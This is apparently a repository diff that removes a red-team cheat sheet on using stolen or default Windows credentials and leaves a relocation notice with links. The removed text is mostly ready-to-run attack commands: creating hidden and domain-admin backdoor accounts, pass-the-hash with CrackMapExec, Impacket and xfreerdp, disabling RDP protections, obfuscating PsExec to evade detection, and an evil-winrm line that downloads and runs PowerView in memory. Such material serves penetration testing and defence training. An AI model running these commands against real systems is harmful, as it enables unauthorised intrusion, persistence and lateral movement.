* [EoP - Privileged File Write](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---privileged-file-write)
* [DiagHub](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#diaghub)
* [UsoDLLLoader](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#usodllloader)
* [WerTrigger](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#wertrigger)
* [WerMgr](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#wermgr)
* [EoP - Privileged File Delete](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---privileged-file-delete)
* [EoP - Common Vulnerabilities and Exposures](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---common-vulnerabilities-and-exposure)
* [MS08-067 (NetAPI)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms08-067-netapi)
* [MS10-015 (KiTrap0D)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
* [MS11-080 (adf.sys)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms11-080-afd.sys---microsoft-windows-xp-2003)
* [MS15-051 (Client Copy Image)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms15-051---microsoft-windows-2003--2008--7--8--2012)
* [MS16-032](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#ms17-010-eternal-blue)
* [CVE-2019-1388](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#cve-2019-1388)
* [EoP - $PATH Interception](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop---path-interception)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#references)

View File

@ -1,394 +1,28 @@
# Windows - Using credentials
## Summary
* [Get credentials](#get-credentials)
* [Create your credential](#create-your-credential)
* [Guest Credential](#guest-credential)
* [Retail Credential](#retail-credential)
* [Sandbox Credential](#sandbox-credential)
* [Crackmapexec](#crackmapexec)
* [Impacket](#impacket)
* [PSExec](#psexec)
* [WMIExec](#wmiexec)
* [SMBExec](#smbexec)
* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
* [Powershell Remoting Protocol](#powershell-remoting-protocol)
* [Powershell Credentials](#powershell-credentials)
* [Powershell PSSESSION](#powershell-pssession)
* [Powershell Secure String](#powershell-secure-strings)
* [SSH Protocol](#ssh-protocol)
* [WinRM Protocol](#winrm-protocol)
* [WMI Protocol](#wmi-protocol)
* [Other methods](#other-methods)
* [PsExec - Sysinternal](#psexec-sysinternal)
* [Mount a remote share](#mount-a-remote-share)
* [Run as another user](#run-as-another-user)
## Get credentials
### Create your credential
```powershell
net user hacker Hcker_12345678* /add /Y
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add # RDP access
net localgroup "Backup Operators" hacker /add # Full access to files
net group "Domain Admins" hacker /add /domain
# enable a domain user account
net user hacker /ACTIVE:YES /domain
# prevent users from changing their password
net user username /Passwordchg:No
# prevent the password to expire
net user hacker /Expires:Never
# create a machine account (not shown in net users)
net user /add evilbob$ evilpassword
# homoglyph Aԁmіnistratοr (different of Administrator)
Aԁmіnistratοr
```
Some info about your user
```powershell
net user /dom
net user /domain
```
### Guest Credential
By default every Windows machine comes with a Guest account, its default password is empty.
```powershell
Username: Guest
Password: [EMPTY]
NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
```
### Retail Credential
Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
```powershell
Username: RetailAdmin
Password: trs10
```
### Sandbox Credential
WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
```powershell
\\windowssandbox
Username: wdagutilityaccount
Password: pw123
```
## Crackmapexec
Using [mpgn/CrackMapExec](https://github.com/mpgn/CrackMapExec)
* CrackMapExec supports many protocols
```powershell
crackmapexec ldap 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec mssql 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec rdp 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
crackmapexec winrm 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0"
```
* CrackMapExec works with password, NT hash and Kerberos authentication
```powershell
crackmapexec smb 192.168.1.100 -u Administrator -p "Password123?" # Password
crackmapexec smb 192.168.1.100 -u Administrator -H ":31d6cfe0d16ae931b73c59d7e0c089c0" # NT Hash
export KRB5CCNAME=/tmp/kerberos/admin.ccache; crackmapexec smb 192.168.1.100 -u admin --use-kcache # Kerberos
```
## Impacket
From [fortra/impacket](https://github.com/fortra/impacket) (:warning: renamed to impacket-xxxxx in Kali)
:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
:warning: By default, Impacket's scripts are stored in the examples folder: `impacket/examples/psexec.py`.
All Impacket's *exec scripts are not equal, they will target services hosted on multiples ports.
The following table summarize the port used by each scripts.
| Method | Port Used | Admin Required |
|-------------|---------------------------------------|----------------|
| psexec.py | tcp/445 | Yes |
| smbexec.py | tcp/445 | No |
| atexec.py | tcp/445 | No |
| dcomexec.py | tcp/135, tcp/445, tcp/49751 (DCOM) | No |
| wmiexec.py | tcp/135, tcp/445, tcp/50911 (Winmgmt) | Yes |
* `psexec`: equivalent of Windows PSEXEC using RemComSvc binary.
```ps1
psexec.py DOMAIN/username:password@10.10.10.10
```
* `smbexec`: a similar approach to PSEXEC w/o using RemComSvc
```ps1
smbexec.py DOMAIN/username:password@10.10.10.10
```
* `atexec`: executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
```ps1
atexec.py DOMAIN/username:password@10.10.10.10
```
* `dcomexec`: a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints
```ps1
dcomexec.py DOMAIN/username:password@10.10.10.10
```
* `wmiexec`: a semi-interactive shell, used through Windows Management Instrumentation. First it uses ports tcp/135 and tcp/445, and ultimately it communicates with the Winmgmt Windows service over dynamically allocated high port such as tcp/50911.
```ps1
wmiexec.py DOMAIN/username:password@10.10.10.10
wmiexec.py DOMAIN/username@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
```
To allow Non-RID 500 local admin accounts performing Wmi or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /d 1`
To prevent RID 500 from being able to WmiExec or PsExec, execute:
`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /f /d 1`
### PSExec
Instead of uploading `psexeccsv` service binary, it uploads to `ADMIN$` a service binary with an arbitrary name.
PSExec default [kavika13/RemCom](https://github.com/kavika13/RemCom) binary is 10 years old, you might want to rebuild it and obfuscate it to reduce detections ([snovvcrash/RemComObf.sh](https://gist.github.com/snovvcrash/123945e8f06c7182769846265637fedb))
Use a custom binary and service name with : `psexec.py Administrator:Password123@IP -service-name customservicename -remote-binary-name custombin.exe`
Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`.
You need to update the pipe name to match "Custom_communication" in the line 163
```py
162 tid = s.connectTree('IPC$')
163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
```
Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files).
### WMIExec
Use a non default share `-share SHARE` to write the output to reduce the detection.
By default this command is executed : `cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__RANDOM 2>&1`
### SMBExec
It creates a service with the name `BTOBTO` ([smbexec.py#L59](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L59)) and transfers commands from the attacker in a bat file in `%TEMP/execute.bat` ([smbexec.py#L56](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L56)).
```py
OUTPUT_FILENAME = '__output'
BATCH_FILENAME = 'execute.bat'
SMBSERVER_DIR = '__tmp'
DUMMY_SHARE = 'TMP'
SERVICE_NAME = 'BTOBTO'
```
It will create a new service every time we execute a command. It will also generate an Event 7045.
By default this command is executed: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`.
```py
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName, shell_type):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = b''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__serviceName = serviceName
```
## RDP Remote Desktop Protocol
:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
```powershell
# Enable RDP
PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
PS C:\> netsh firewall set service remoteadmin enable
PS C:\> netsh firewall set service remotedesktop enable
# Alternative
C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
# Fix CredSSP errors
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Disable NLA
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
```
Abuse RDP protocol to execute commands remotely with the following commands;
* `rdesktop`
```powershell
root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
# -g : the screen will take up 70% of your actual screen size
# -r disk:share : sharing a local folder during a remote desktop session
```
* `freerdp`
```powershell
root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
# pass the hash works for Server 2012 R2 / Win 8.1+
# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
```
* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
```powershell
PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
```
## Powershell Remoting Protocol
### Powershell Credentials
```ps1
PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
```
### Powershell PSSESSION
* Enable PSRemoting on the host
```ps1
Enable-PSRemoting -Force
net start winrm
# Add the machine to the trusted hosts
Set-Item wsman:\localhost\client\trustedhosts *
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "10.10.10.10"
```
* Execute a single command
```powershell
PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
```
* Interact with a PS Session
```powershell
PS> Enter-PSSession -computerName DC01
[DC01]: PS>
# one-to-one execute scripts and commands
PS> $Session = New-PSSession -ComputerName CLIENT1
PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
PS> Invoke-Command -Session $Session -scriptBlock { $test }
1
```
### Powershell Secure String
```ps1
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
```
## WinRM Protocol
**Requirements**:
* Port **5985** or **5986** open.
* Default endpoint is **/wsman**
If WinRM is disabled on the system you can enable it using: `winrm quickconfig`
The easiest way to interact over WinRM on Linux is with [Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```powershell
evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
evil-winrm -i 10.0.0.20 -u username -H HASH
evil-winrm -i 10.0.0.20 -u username -p password -r domain.local
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
```
## WMI Protocol
```powershell
PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
```
## SSH Protocol
:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!)
```ps1
cp user.ccache /tmp/krb5cc_1045
ssh -o GSSAPIAuthentication=yes user@domain.local -vv
```
## Other methods
### PsExec - Sysinternal
From Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
```powershell
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe
# switch admin user to NT Authority/System
PS C:\> PsExec.exe \\srv01.domain.local -u DOMAIN\username -p password cmd.exe -s
```
### Mount a remote share
```powershell
PS C:\> net use \\srv01.domain.local /user:DOMAIN\username password C$
```
### Runas as another user
Runas is a command-line tool that is built into Windows Vista.
Allows a user to run specific tools and programs with different permissions than the user's current logon provides.
```powershell
PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
```
## References
- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html)
- [Impacket Remote code execution on Windows from Linux by Vry4n_ - Jun 20, 2021](https://vk9-sec.com/impacket-remote-code-execution-rce-on-windows-from-linux/)
- [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf)
- [SMB protocol cheatsheet - aas-s3curity](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/lateral-movement/smb-protocol)
- [Windows Lateral Movement with smb, psexec and alternatives - nv2lt](https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/)
- [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/)
- [A Dive on SMBEXEC - dmcxblue - 8th Feb 2021](https://0x00sec.org/t/a-dive-on-smbexec/24961)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/windows-using-credentials](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/)
* [Get credentials](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#get-credentials)
* [Create your credential](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#create-your-credential)
* [Guest Credential](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#guest-credential)
* [Retail Credential](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#retail-credential)
* [Sandbox Credential](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#sandbox-credential)
* [Crackmapexec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#crackmapexec)
* [Impacket](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#impacket)
* [PSExec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#psexec)
* [WMIExec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#wmiexec)
* [SMBExec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#smbexec)
* [RDP Remote Desktop Protocol](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#rdp-remote-desktop-protocol)
* [Powershell Remoting Protocol](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#powershell-remoting-protocol)
* [Powershell Credentials](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#powershell-credentials)
* [Powershell PSSESSION](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#powershell-pssession)
* [Powershell Secure String](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#powershell-secure-strings)
* [SSH Protocol](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#ssh-protocol)
* [WinRM Protocol](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#winrm-protocol)
* [WMI Protocol](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#wmi-protocol)
* [Other methods](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#other-methods)
* [PsExec - Sysinternal](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#psexec-sysinternal)
* [Mount a remote share](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#mount-a-remote-share)
* [Run as another user](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/windows-using-credentials/#run-as-another-user)